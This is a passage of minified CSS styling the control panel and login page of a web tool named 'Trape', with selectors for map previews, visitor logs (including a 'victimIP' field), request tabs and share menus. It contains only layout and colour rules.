#f0ebf3}.TrapeControl-Preview--box---Distance----iconBox,.TrapeControl-Preview--box---MapboxDataIPs----iconBox,.TrapeControl-Preview--box---SummaryLocation----iconBox{float:left;color:#fff;height:100%;padding:1px 6px;width:27px;margin-right:6px;text-align:center;font-size:14px;background-color:#000}.TrapeControl-Preview--box---MapboxDataIPs----iconBox{background-color:#007ee5}.TrapeControl-Preview--box---SummaryLocation----iconBox{background-color:#f90}.TrapeControl-Preview--box---Distance----text,.TrapeControl-Preview--box---MapboxDataIPs----text,.TrapeControl-Preview--box---SummaryLocation----text{font-family:Ubuntu,sans-serif;font-weight:600;color:#000;vertical-align:text-bottom;font-size:11px}.TrapeControl-Preview--box---Distance----line,.TrapeControl-Preview--box---MapboxDataIPs----line,.TrapeControl-Preview--box---SummaryLocation----line{margin-left:3px;margin-right:3px;border-top:20px solid #f0ebf3;text-align:center;width:1px;display:inline-block;margin-bottom:2px;z-index:3}.TrapeControl-Preview--box---MapboxDataIPs----link{color:#007ee5;text-decoration:underline;text-transform:uppercase;font-weight:600;letter-spacing:.5px;margin-left:2px}.TrapeControl-Preview--box---MapboxDataIPs----link:hover{color:#198ae7;text-decoration:underline}.TrapeControl-Preview--box---MapboxDataIPs----link:active{color:#0064b7}.TrapeControl-Preview--box---Distance----subText,.TrapeControl-Preview--box---Distance----subTextTime,.TrapeControl-Preview--box---MapboxDataIPs----textLocal,.TrapeControl-Preview--box---SummaryLocation----subText{font-size:11px;color:#b3b0b8;font-weight:500}.TrapeControl-Preview--box---Distance----subTextTime{color:#f90}.TrapeControl-Preview--box---Distance----NowDistance,.TrapeControl-Preview--box---Distance----NowTarget{background-color:#000;padding:2px 6px;border-radius:4px;font-weight:500;font-size:10px;color:#fff;text-transform:uppercase}.TrapeControl-Preview--box---Distance----NowTarget{background-color:#49b882}.TrapeControl-Preview--box---Mapbox----define{position:absolute;width: 499px;height:299px;z-index:1;}.TrapeControl-Preview--box---Details{padding:7px 14px;background-color:#FBFCFF;border-top:1px solid #f0ebf3;border-bottom:1px solid #f0ebf3}.TrapeControl-Preview--box---DetailsLine{position:relative;z-index:1}.TrapeControl-Preview--box---DetailsLine .TrapeControl-Preview--box---DetailsLine----define{position:absolute;right:10px;top:11px;left:10px;display:block;border-bottom:1px solid #f0ebf3}.TrapeControl-Preview--box---DetailsElement----Iconbox,.TrapeControl-Preview--box---Sidebar----Iconbox{display:inline-block;position:relative;margin-top:0;font-family:ubuntu,sans-serif;font-weight:500;padding-right:6px;font-size:11px;line-height:18px;color:#b3b0b8;background-color:#f0ebf3;border-radius:3px;text-align:center;text-transform:uppercase}.TrapeControl-Preview--box---Sidebar----Iconbox{line-height:16px;display:inline-block;position:relative;top:-12px;padding-right:6px}.TrapeControl-Preview--box---DetailsElement----Iconbox-----define,.TrapeControl-Preview--box---Sidebar----Iconbox-----define{float:left;color:#fff;height:100%;padding:1px 6px;margin-right:5px;background-color:#000;border-radius:3px 0 0 3px!important}.TrapeControl-Preview--box---Sidebar----Iconbox-----define{padding:1px 6px;margin-right:5px}.TrapeControl-Preview--box---DetailsElement----text,.TrapeControl-Preview--box---Sidebar----Iconbox-----text{font-family:Ubuntu,sans-serif;font-weight:500;letter-spacing:.5px;font-size:10px;vertical-align:middle}.TrapeControl-BoxTab--options---Tabs,.TrapeControl-BoxTab--options---subTabs,.TrapeControl-Preview--Tabs,.TrapeControl-Preview--box---Sidebar----Tabs{font-family:Ubuntu,sans-serif;border-radius:5em;display:-webkit-inline-box;display:-moz-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-box;display:inline-flex;float:right;overflow:hidden;margin-top:0;border:1px solid #f0ebf3;z-index:2}.TrapeControl-BoxTab--options---Tabs,.TrapeControl-BoxTab--options---subTabs{margin-top:-14px!important}.TrapeControl-Preview--box---Sidebar----Tabs{margin-top:-8px!important;border:none!important}.TrapeControl-BoxTab--options---Tabs----button,.TrapeControl-BoxTab--options---subTabs----button,.TrapeControl-Preview--Tabs---button,.TrapeControl-Preview--box---Sidebar----Tabs-----button{color:#b3b0b8;background-color:#FBFCFF;border:none;vertical-align:top;padding:5px 10px;cursor:pointer;font-weight:500;letter-spacing:.5px;border-left:1px solid #f0ebf3;text-decoration:none!important;z-index:2;font-size:11px;outline:0;text-transform:uppercase;font-family:Ubuntu,sans-serif}.TrapeControl-Preview--box---Sidebar----Tabs-----button{padding:1px 7px;background:#fff!important}.TrapeControl-BoxTab--options---Tabs----button:first-child,.TrapeControl-BoxTab--options---subTabs----button:first-child,.TrapeControl-Preview--Tabs---button:first-child,.TrapeControl-Preview--box---Sidebar----Tabs-----button:first-child{border-left:0}.TrapeControl-BoxTab--options---Tabs----button:hover,.TrapeControl-BoxTab--options---subTabs----button:hover,.TrapeControl-Preview--Tabs---button:hover,.TrapeControl-Preview--box---Sidebar----Tabs-----button:hover{color:#b3b0b8}.TrapeControl-BoxTab--options---Tabs----button.is-active,.TrapeControl-BoxTab--options---Tabs----button:active,.TrapeControl-BoxTab--options---subTabs----button.is-active,.TrapeControl-BoxTab--options---subTabs----button:active,.TrapeControl-Preview--Tabs---button.is-active,.TrapeControl-Preview--Tabs---button:active,.TrapeControl-Preview--box---Sidebar----Tabs-----button.is-active,.TrapeControl-Preview--box---Sidebar----Tabs-----button:active{background:#fff!important;color:#007ee5!important}.TrapeControl-Preview--dataShow{width:50%;float:left}.TrapeControl-Preview--dataShowInspect{width:100%;padding-bottom:0}.TrapeControl-Preview--dataShow ul{margin:0;padding:0;list-style:none}.TrapeControl-Preview--dataShow:last-child{border-left:1px solid #f0ebf3}.TrapeControl-Preview--dataShow---define,.TrapeControl-PreviewSummary--info---Data{padding:0 20px 0 14px;line-height:28px;font-size:11px;color:#b3b0b8;text-align:left;font-family:Ubuntu,sans-serif;border-bottom:1px solid #f0ebf3;overflow-wrap:break-word;word-wrap:break-word;word-break:break-word;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.TrapeControl-Preview--dataShow .TrapeControl-Preview--dataShow---define:last-child,.TrapeControl-Preview--dataShow .TrapeControl-Preview--dataShow---define:nth-child(5),.TrapeControl-PreviewSummary--info---Data:last-child{border-bottom:none}.TrapeControl-PreviewSummary--info---Data{padding:0 5px 0 1px;line-height:25px}.TrapeControl-Preview--dataShow .TrapeControl-Preview--dataShow---define strong,.TrapeControl-PreviewSummary--info---Data strong{color:#000;font-weight:500}.TrapeControl-Preview--dataShow .TrapeControl-Preview--dataShow---define a{color:#007ee5;text-decoration:none;text-transform:uppercase;font-size:12px;font-weight:600;letter-spacing:.5px;margin-left:2px}.TrapeApp-WrapperTop--Form---Text .TrapeApp-WrapperTop--Form---Text----link i{vertical-align:text-top;font-size:14px}.TrapeControl-Preview--dataShow .TrapeControl-Preview--dataShow---define a:hover{color:#198ae7;text-decoration:underline}.TrapeControl-Preview--dataShow .TrapeControl-Preview--dataShow---define a:active{color:#0064b7}.TrapeControl-BoxTab{display:block}.TrapeControl-BoxTab:nth-child(3),.TrapeControl-BoxTab:nth-child(4),.TrapeControl-BoxTab:nth-child(5),.TrapeControl-BoxTab:nth-child(6),.TrapeControl-Preview--SubTabsNH:nth-child(3),.TrapeControl-Preview--SubTabsShow:nth-child(3),.TrapeControl-Preview--SubTabsShow:nth-child(4),.TrapeControl-WhoSe:nth-child(3){display:none}.TrapeControl-BoxTab--options{border-top:1px solid #f0ebf3;text-align:left;margin:26px 2% 0 1%}.TrapeControl-BoxTab--options .TrapeControl-BoxTab--options---Text{display:inline-block;position:relative;top:-11px;padding:3px 6px;font-weight:500;background-color:#FFF;font-size:11px;font-family:Ubuntu;text-transform:uppercase;letter-spacing:.5px;border-radius:3px;color:#b3b0b8}.TrapeControl-BoxTab--Form---button,.TrapeControl-BoxTab--Form---buttonsVoice----btn,.TrapeControl-History--Tabs---button,.TrapeControl-History--line,.TrapeControl-Wrapper--Stats---Item----number{font-family:Ubuntu,sans-serif;text-transform:uppercase}.TrapeControl-BoxTab--Form,.TrapeControl-BoxTab--FormLeftDown,.TrapeControl-BoxTab--FormRight,.TrapeControl-BoxTab--FormSpeech{margin:10px 12px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;position:relative}.TrapeControl-BoxTab--FormSpeech{display:block!important;margin-left:13px;margin-right:13px}.TrapeControl-BoxTab--FormRight{margin-left:87px!important}.TrapeControl-BoxTab--FormLeftDown{margin-top:28px!important}.TrapeControl-BoxTab--Form---input,.TrapeControl-BoxTab--Form---textarea,.TrapeControl-BoxTab--Form---textareaSpeech{background-color:#fff;border:1px solid #f0ebf3;font-family:Ubuntu,sans-serif;font-size:11px;font-weight:500;text-transform:uppercase;color:#b3b0b8;padding:9px 10px;border-right:0;width:205px;border-top-left-radius:4px;border-bottom-left-radius:4px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;transition:all .1s ease-in-out;outline:0;resize:none}.TrapeControl-BoxTab--Form---textarea{height:70px}.TrapeControl-BoxTab--Form---input::-webkit-input-placeholder,.TrapeControl-BoxTab--Form---textarea::-webkit-input-placeholder,.TrapeControl-BoxTab--Form---textareaSpeech::-webkit-input-placeholder{color:#b3b0b8}.TrapeControl-BoxTab--Form---input::-moz-placeholder,.TrapeControl-BoxTab--Form---textarea::-moz-placeholder,.TrapeControl-BoxTab--Form---textareaSpeech::-moz-placeholder{color:#b3b0b8}.TrapeControl-BoxTab--Form---input:-ms-input-placeholder,.TrapeControl-BoxTab--Form---textarea:-ms-input-placeholder,.TrapeControl-BoxTab--Form---textareaSpeech:-ms-input-placeholder{color:#b3b0b8}.TrapeControl-BoxTab--Form---input:-moz-placeholder,.TrapeControl-BoxTab--Form---textarea:-moz-placeholder,.TrapeControl-BoxTab--Form---textareaSpeech:-moz-placeholder{color:#b3b0b8}.TrapeControl-BoxTab--Form---buttonsVoice{text-align:center;margin-top:2px}.TrapeControl-BoxTab--Form---button,.TrapeControl-BoxTab--Form---buttonsVoice----btn{border-top-right-radius:4px;border-bottom-right-radius:4px;background-color:#FBFCFF;border:0;border:1px solid #f0ebf3;outline:0;color:#007ee5;line-height:12px;text-decoration:none;font-size:11px;font-weight:500;padding:9px 10px;width:93px;cursor:pointer;margin-left:-3px;letter-spacing:.5px}.TrapeControl-BoxTab--Form---buttonsVoice----btn{margin-left:6px;width:150px;margin-right:6px;border-radius:4px}.TrapeControl-BoxTab--Form---button:hover,.TrapeControl-BoxTab--Form---buttonsVoice----btn:hover{border:1px solid #0071ce;background:#007ee5;color:#fff}.TrapeControl-BoxTab--Form---button:active,.TrapeControl-BoxTab--Form---buttonsVoice----btn:active{background-color:#0071ce;border:1px solid #0058a0;color:#fff}.TrapeControl-Wrapper--Stats{text-align:center;margin-bottom:30px;padding:30px 0}.TrapeControl-Wrapper--Stats---Item{display:inline-block;vertical-align:middle}.TrapeControl-Wrapper--Stats---Item----number{color:#000;font-size:20px;letter-spacing:1px;font-weight:500}.TrapeControl-Wrapper--Stats---Item----text{vertical-align:middle;font-family:Ubuntu;text-transform:uppercase;color:#b3b0b8;font-size:11px;letter-spacing:1px;font-weight:400;margin:0 0 8px}.TrapeControl-Wrapper--Stats---Item----symbol{color:#b3b0b8;font-size:20px;letter-spacing:.02em;text-transform:uppercase}.TrapeControl-Wrapper--Stats---lineSeparation{display:inline-block;vertical-align:middle;width:1px;height:44px;background-color:#f0ebf3;margin:0 28px}.TrapeControl-History{max-width: 780px;margin:-24px auto 10px;text-align:center;}.TrapeControl-History--Tabs{border-radius:5em;display:-webkit-inline-box;display:-moz-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;overflow:hidden;margin-top:-4px;position:relative;top:5px;z-index:3}.TrapeControl-History--Tabs---button{color:#b3b0b8;background:#fff;border:none;vertical-align:top;padding:6px 12px;cursor:pointer;font-weight:500;letter-spacing:.5px;border-left:1px solid #f0ebf3;text-decoration:none!important;font-size:11px;-webkit-tap-highlight-color:transparent;-ms-touch-action:manipulation;touch-action:manipulation;-webkit-appearance:none;-moz-appearance:none;-ms-appearance:none;-o-appearance:none;appearance:none;-webkit-transition:all .1s;-moz-transition:all .1s;-ms-transition:all .1s;-o-transition:all .1s;transition:all .1s;z-index:2}.TrapeControl-History--Logs---log,.TrapeControl-History--line{font-size:12px;border-bottom:1px solid #f0ebf3;position:relative}.TrapeControl-History--Tabs---button,.TrapeControl-History--Tabs---button:active,.TrapeControl-History--Tabs---button:focus,.TrapeControl-History--Tabs---button:hover{outline:0}.TrapeControl-History--Tabs---button:first-child{border-left:0}.TrapeControl-History--Tabs---button:hover{color:#b3b0b8}.TrapeControl-History--Tabs---button.is-active,.TrapeControl-History--Tabs---button:active{background:#fff!important;color:#007ee5!important}.TrapeControl-History--line{font-weight:700;text-align:center;padding:12px;letter-spacing:.5px;color:#b3b0b8}.TrapeControl-History--Logs{overflow-y:auto;height:248px}.TrapeControl-History--Logs:nth-child(4),.TrapeControl-History--Logs:nth-child(5){display:none}.TrapeControl-History--Logs---log{line-height:20px;text-align:left;font-family:Ubuntu,sans-serifsans-serif;padding:10px 4px;background:#fff}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----desktop,.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----mobile{color:#fff;font-size:24px;text-align:center;display:inline-block;width:40px;line-height:38px;float:left;border-radius:6px}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----desktop:before,.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----mobile:before{font-family:boxicons}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----mobile{background-color:#2a3239}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----mobile:before{content:\"\\e9e4\"}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----desktop{background-color:#007ee5}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----desktop:before{content:\"\\f108\"}.TrapeControl-History--Logs---logData{margin-left:46px}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logData----victimIP{color:#000;font-weight:700;font-size:15px;margin:0;display:block;text-decoration:none}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logData----victimIP:hover{color:#007ee5;text-decoration:none}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logData----victimIP:active,.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logData----victimIP:visited{color:#0064b7}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logData----countryTime{color:#b3b0b8}.TrapeControl-History--Logs---logData----requests,.TrapeControl-History--Logs---logData----services{font-weight:500;position:relative;font-family:Ubuntu,sans-serif;margin-left:4px;text-transform:uppercase;line-height:0;color:#b3b0b8;display:inline-block;text-decoration:none!important;font-size:11px}.TrapeControl-History--Tabs---button----iconLogs{vertical-align:text-bottom;font-size:11px;color:#b3b0b8;margin-right:4px;font-weight:500}.TrapeControl-History--Tabs---button----iconLogs:before{font-family:boxicons;content:\"\\ea37\"}.TrapeControl-History--Logs---logData----iconRequests,.TrapeControl-History--Logs---logData----iconServices,.TrapeControl-History--Tabs---button----iconRequests,.TrapeControl-History--Tabs---button----iconSocialImpact{font-size:11px;color:#b3b0b8;margin-right:4px;font-weight:500}.TrapeControl-History--Logs---logData----iconRequests:before,.TrapeControl-History--Logs---logData----iconServices:before,.TrapeControl-History--Tabs---button----iconRequests:before{font-family:boxicons;content:\"\\f1da\"}.TrapeControl-History--Tabs---button----iconSocialImpact:before{font-family:boxicons;content:\"\\e9f5\"}.TrapeControl-History--Logs---logData----iconRequests:before,.TrapeControl-History--Logs---logData----iconServices:before{content:\"\\e9a1\";font-size:13px;vertical-align:middle}.TrapeControl-History--Logs---logData----iconServices:before{content:\"\\f1e0\"}.logs-iconDEvice{color:#b3b0b8!important;font-size:13px;vertical-align:text-bottom;margin-right:3px}.TrapeControl-History--Logs---logData----lineVertical{font-weight:700;position:relative;font-family:Ubuntu,sans-serif;margin-left:6px;margin-right:4px;text-transform:uppercase;line-height:0;color:#f0ebf3;background-color:#f0ebf3;border-left:1px solid #f0ebf3;text-decoration:none!important}.TrapeControl-History--Logs---logData----lineVertical:nth-child(1){margin-right:0}.TrapeControl-History--Logs---log----Delete{font-size:13px;color:#ED5565;margin-left:10px;margin-right:7px;margin-top:4px;cursor:pointer;border-radius:100%;border:1px solid transparent;text-align:center;width:23px;height:23px;padding:4px;line-height:13px}.TrapeControl-History--Logs---log----Delete:hover{background-color:#ED5565;border:1px solid #bd4450;color:#fff}.TrapeControl-History--Logs---log----Delete:active{background-color:#d54c5a;border:1px solid #a53b46;color:#fff}.TrapeControl-History--Logs---log----ConfirmDeleteBox{position:relative;font-family:Ubuntu,sans-serif;padding:10px 4px;background-color:#fff;width:810px;margin-top:-16px;margin-bottom:-39px;z-index:4;border-top:1px solid #f0ebf3}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----message{display:block;font-size:15px;font-weight:500;float:left;text-align:right;margin-left:24px;margin-top:-4px}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----message i{color:#b3b0b8;font-size:20px;vertical-align:text-bottom;margin-right:3px}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----Buttons{display:-webkit-inline-box;display:-moz-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;position:relative;z-index:3;float:right;margin-top:-4px}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsYes{outline:0;background-color:#ED5565;border:1px solid #bd4450;border-right:0!important;border-top-left-radius:4px;border-bottom-left-radius:4px;font-family:Lato,sans-serif;font-size:11px;font-weight:700;text-transform:uppercase;padding:2px 10px;color:#fff;text-decoration:none}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsYes:hover{background-color:#d54c5a;border:1px solid #a53b46}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsYes:active{background-color:#ED5565;border:1px solid #bd4450}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsNo{border-top-right-radius:4px;border-bottom-right-radius:4px;background-color:#fff;outline:0;color:#b3b0b8;text-transform:uppercase;font-family:Lato,sans-serif;font-size:11px;font-weight:600;border:1px solid #f0ebf3;padding:2px 10px;cursor:pointer;text-decoration:none}.TrapeControl-History--Logs---centerData----behavior,.TrapeControl-History--Logs---centerData----osBrowser,.TrapeControl-History--Logs---zonePreview----button,.TrapeControl-History--Logs---zonePreview----code{font-family:Ubuntu,sans-serif;font-weight:500;text-transform:uppercase}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsNo:hover{color:#007ee5}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsNo:active{background-color:#0071ce;border:1px solid #0058a0;color:#fff}.TrapeControl-History--Logs---zonePreview{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;position:relative;top:-36px;text-align:right;float:right}.TrapeControl-History--Logs---zonePreview----code{outline:0;background-color:#FBFCFF;border:1px solid #f0ebf3;border-right:0;border-top-left-radius:3px;border-bottom-left-radius:3px;font-size:11px;padding:4px 6px;color:#b3b0b8}.TrapeControl-History--Logs---zonePreview----button{border-top-right-radius:3px;border-bottom-right-radius:3px;background-color:#fff;outline:0;color:#007ee5;line-height:20px;text-decoration:none;font-size:11px;letter-spacing:.5px;border:1px solid #f0ebf3;padding:4px 8px;cursor:pointer}.TrapeControl-History--Logs---zonePreview----button:hover{border:1px solid #0071ce;background:#007ee5;color:#fff}.TrapeControl-History--Logs---zonePreview----button:active{background-color:#0071ce;border:1px solid #0058a0;color:#fff}.TrapeControl-History--Logs---centerData{margin:0 6px 0 0;float:right;display:block;position:relative;top:-32px}.TrapeControl-History--Logs---centerData----behavior{font-size:10px;color:#fff;position:relative;top:14px;text-align:center;margin-right:12px;background-color:#000;padding:2px 6px;border-radius:4px}.TrapeControl-History--Logs---centerData----osBrowser{float:right;padding-right:15px;padding-left:15px;border-left:1px solid #f0ebf3;margin-top:-8px}.TrapeControl-History--Logs---centerData----osBrowser-----browser,.TrapeControl-History--Logs---centerData----osBrowser-----os{margin:0;color:#b3b0b8;font-size:10px;font-weight:400;letter-spacing:.5px;width:86px;vertical-align:middle}.icon-iphone:before,.icon-macos:before{font-family:boxicons;content:\"\\f179\"}.icon-msie:before{font-family:boxicons;content:\"\\f26b\"}.TrapeControl-Requests{width:100%;box-shadow:none;border-radius:0;-webkit-transform:none;-moz-transform:none;-ms-transform:none;-o-transform:none;transform:none;border-bottom:1px solid #f0ebf3;border-top:none}.TrapeControl-Requests--HeaderData{background:#FBFCFF;border-top:none;border-bottom:1px solid #f0ebf3}.TrapeControl-Requests--HeaderData .TrapeControl-Requests--HeaderData---define{padding:0 14px;line-height:38px;margin:0;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.TrapeControl-Requests--HeaderData---idRequest{padding:0 6px;margin-top:9px;height:20px;line-height:18px;border-radius:4px;text-transform:uppercase;font-size:11px;font-weight:500;color:#fff!important;background:#2676A5;border:1px solid #226a94}.TrapeControl-Requests--HeaderData .TrapeControl-Requests--HeaderData---define----value{float:left;font-size:11px;color:#000;font-weight:500;text-transform:uppercase;margin:0 38px 0 0}.TrapeControl-Requests--HeaderData .TrapeControl-Requests--HeaderData---define----value strong{color:#b3b0b8;font-weight:500}.TrapeControl-Requests .TrapeControl-Requests--body{padding:0;border-top:none}.TrapeControl-Requests--body---Data{width:100%;padding-bottom:0}.TrapeControl-Requests--body---Data ul{margin:0;padding:0;list-style:none;border-radius:0;border:none}.TrapeControl-Requests--body---Data .TrapeControl-Requests--body---Data----view{color:#b3b0b8;text-align:left;border-bottom:1px solid #f0ebf3;overflow-wrap:break-word;word-wrap:break-word;word-break:break-word;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-size:13px;line-height:29px;padding:0 20px 0 14px}.TrapeControl-Requests--body---Data .TrapeControl-Requests--body---Data----view strong{color:#000}.TrapeControl-Requests--body---Data .TrapeControl-Requests--body---Data----view:last-child{border:none}.TrapeControl-HistoryRequests--NotData,.TrapeControl-HistorySocialImpact--NotData{color:#b3b0b8;position:relative;line-height:247px;font-size:24px!important;text-align:center;border-bottom:1px solid #f0ebf3;font-family:lato,sans-serif}.TrapeControl-shareBox{position:absolute;right:0;z-index:4;display:none;margin-right:0;margin-top:49px;list-style:none;text-align:left;background-color:#fff;border:1px solid #f0ebf3;border-radius:4px;box-shadow:0 2px 8px rgba(0,0,0,.1);background-clip:padding-box;-webkit-transition:.3s ease;-moz-transition:.3s ease;-ms-transition:.3s ease;-o-transition:.3s ease;transition:.3s ease;width:150px;max-height:calc(100vh - 50px);-webkit-overflow-scrolling:touch}.TrapeControl-shareBox.active{display:block}.TrapeControl-shareBox .TrapeControl-shareBox--Item---list a{clear:both;border-bottom:1px solid #f0ebf3;max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;word-wrap:normal;font-family:Ubuntu,sans-serif;font-weight:500;width:100%;font-size:10px;letter-spacing:.5px;text-transform:uppercase;text-align:left;text-decoration:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;color:#b3b0b8;cursor:pointer;display:block;line-height:14px;padding:9px 24px 9px 12px;border-radius:4px 4px 0 0}.TrapeControl-shareBox .TrapeControl-shareBox--Item---list a:hover{color:#3E4D60;background-color:#FBFCFF}.TrapeControl-shareBox .TrapeControl-shareBox--Item---list a:active{color:#818B98;background-color:#FBFCFF}.TrapeControl-shareBox .TrapeControl-shareBox--Item---list a:focus{background-color:#FBFCFF}.TrapeControl-shareBox .TrapeControl-shareBox--Item---list:nth-child(3) a{border-radius:0 0 4px 4px;border-bottom:0}.TrapeControl-shareBox--Item---triangleDown{position:absolute;height:0!important;width:0!important;border-bottom:10px solid #fff;border-left:11px solid transparent;border-right:11px solid transparent;top:-1px;right:-1px;box-shadow:none!important}.TrapeControl-shareBox--Item---triangleDown:before{position:absolute;top:-7px;right:-3px;z-index:-2;width:14px;height:14px;border:solid #f0ebf3;border-width:1px 1px 0 0;background-color:#fff;content:\"\";-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);-ms-transform:rotate(-45deg);-o-transform:rotate(-45deg);transform:rotate(-45deg)}.TrapeControl-shareBox--socialFacebook,.TrapeControl-shareBox--socialTwitter{width:23px;text-align:center;border-radius:4px;font-size:14px;font-weight:600;line-height:21px;height:21px;float:left;-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition:all .3s;-moz-transition:all .3s;-ms-transition:all .3s;-o-transition:all .3s;transition:all .3s;margin:-3px 6px -5px -4px}.TrapeLogin,.TrapeLogin-Header{margin-left:auto;margin-right:auto}.TrapeControl-shareBox--socialFacebook{color:#fff!important;background-color:#3B5998;border:1px solid #2f4779}.TrapeControl-shareBox--socialTwitter{color:#fff!important;background-color:#00ACEE;border:1px solid #0089be}.TrapeControl-shareBox--pointRight{color:#b3b0b8!important;position:absolute;right:12px;font-size:10px;font-weight:400;line-height:16px}.TrapeControl-shareBox--pointRight:before{font-family:boxicons;content:\"\\f054\"}.TrapeLogin-Header--Box---nameTrape,.TrapeLogin-Wrapper--description,.TrapeLogin-Wrapper--explanation{font-family:Ubuntu,sans-serif}.TrapeLogin{width:100%;height:100%;font-size:14px;line-height:20px}.TrapeLogin-Header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;z-index:9;border-bottom:1px solid #f0ebf3;width: 186px;padding-bottom:14px;text-align:center;margin-top:21vh;}.TrapeLogin-Header--Box{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.TrapeLogin-Header--Box---logo{width:68px;height:68px;margin-right: 14px;border:none;border-radius:0;}.TrapeLogin-Header--Box---nameTrape{font-weight:700;line-height:1.5;margin-bottom:0;margin-top: 8px;text-align:left;font-size: 37px;}.TrapeLogin-Header--Box---byJoseText{color:#b3b0b8;font-weight:400;font-size:19px;margin-top:0;line-height:1;display: none;}.TrapeLogin-Header--Box---byBoxugLogo{vertical-align:bottom;width:92px;margin-left:-4px;border-radius:0;border:none;margin-bottom:-4px;margin-top:-12px}.TrapeLogin-Wrapper{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-flow:column wrap;flex-flow:column wrap;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-left:auto;margin-right:auto}.TrapeLogin-Wrapper--description{margin:28px 0 1rem;text-transform:uppercase;text-align:center;font-weight:700;font-size:24px;color:#000}.TrapeLogin-Wrapper--explanation{color:#b3b0b8;text-align:center;margin:0 auto;font-size:15px;letter-spacing:.5px;line-height:27px;font-weight:500;text-transform:uppercase}.TrapeLogin-Wrapper--Form{position:relative;width:356px;margin-right:auto;margin-left:auto;margin-top:22px}.TrapeLogin-Wrapper--iconLabel{position:absolute;text-align:center;color:#b3b0b8!important;border-right:1px solid #f0ebf3;font-weight:500!important;font-size:16px!important;line-height:18px!important;margin-top:15px;margin-left:0;padding-left:6px;width:2.7em;z-index:8}.TrapeLogin-Wrapper--Form---button,.TrapeLogin-Wrapper--Form---input{font-size:13px;font-family:Ubuntu,sans-serif;text-transform:uppercase;outline:0}.TrapeLogin-Wrapper--Form---input{height:48px;width:100%;background-color:#FBFCFF;border:2px solid #f0ebf3;border-radius:6px;font-weight:500;color:#b3b0b8;padding-left:52px;padding-right:143px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;transition:all .1s ease-in-out}.TrapeLogin-Wrapper--Form---input:focus,.TrapeLogin-Wrapper--Form---input:hover{background-color:#fff}.TrapeLogin-Wrapper--Form---input::-webkit-input-placeholder,.TrapeLogin-Wrapper--FormJob---input::-webkit-input-placeholder{color:#b3b0b8}.TrapeLogin-Wrapper--Form---input::-moz-placeholder,.TrapeLogin-Wrapper--FormJob---input::-moz-placeholder{color:#b3b0b8}.TrapeLogin-Wrapper--Form---input:-ms-input-placeholder{color:#b3b0b8}.TrapeLogin-Wrapper--Form---input:-moz-placeholder{color:#b3b0b8}.TrapeLogin-Wrapper--Form---buttonRightDefine{position:absolute;right:5px;top:5px}.TrapeLogin-Wrapper--Form---button{border-radius:6px;padding:0 18px;color:#fff;background-color:#111;border:1px solid #000;cursor:pointer;display:block;line-height:12px;height:38px;letter-spacing:1px;text-decoration:none;font-weight:600}.TrapeLogin-Wrapper--Form---button:hover{background-color:#000;border:1px solid #111;color:#fff;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.TrapeLogin-Wrapper--Form---button:active{background-color:#000;border:1px solid #000;color:#fff;box-shadow:0 7px 14px rgba(50,50,93,.1),0 3px 6px rgba(0,0,0,.08)}.TrapeLogin-Wrapper--Form---button 